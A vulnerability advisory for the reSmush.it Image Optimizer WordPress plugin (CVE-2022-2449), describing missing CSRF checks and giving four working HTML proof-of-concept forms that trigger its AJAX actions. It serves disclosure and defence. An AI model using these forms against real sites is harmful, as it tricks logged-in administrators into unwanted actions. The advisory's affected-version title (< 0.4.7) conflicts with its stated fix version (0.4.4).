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reSmush.it Image Optimizer < 0.4.7 - Multiple CSRF

Description

The plugin does not perform CSRF checks for any of its AJAX actions, allowing an attackers to trick logged in users to perform various actions on their behalf on the site.

Proof of Concept

<!--optimize all images-->
<html>
  <body>
    <form action="https://target/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="resmushit&#95;bulk&#95;get&#95;images" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
<!--optimize single image-->
<html>
  <body>
    <form action="https://target/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="resmushit&#95;optimize&#95;single&#95;attachment" />
      <input type="hidden" name="data&#91;id&#93;" value="88" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
<!--disable resmushit for single image-->
<html>
  <body>
    <form action="https://target/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="resmushit&#95;update&#95;disabled&#95;state" />
      <input type="hidden" name="data&#91;id&#93;" value="90" />
      <input type="hidden" name="data&#91;disabled&#93;" value="true" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
<!--enable resmushit for single image-->
<html>
  <body>
    <form action="https://target/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="resmushit&#95;update&#95;disabled&#95;state" />
      <input type="hidden" name="data&#91;id&#93;" value="90" />
      <input type="hidden" name="data&#91;disabled&#93;" value="false" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
 

Affects Plugins

resmushit-image-optimizer
Fixed in version 0.4.4

References

CVE
CVE-2022-2449

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Raad Haddad of Cloudyrion GmbH

Submitter

Raad Haddad of Cloudyrion GmbH

Submitter twitter
raadfhaddad
Verified

Yes

WPVDB ID
6e42f26b-3403-4d55-99ad-2c8e2d76e537

Timeline

Publicly Published

2022-10-19 (about 3 months ago)

Added

2022-10-19 (about 3 months ago)

Last Updated

2022-10-26 (about 3 months ago)

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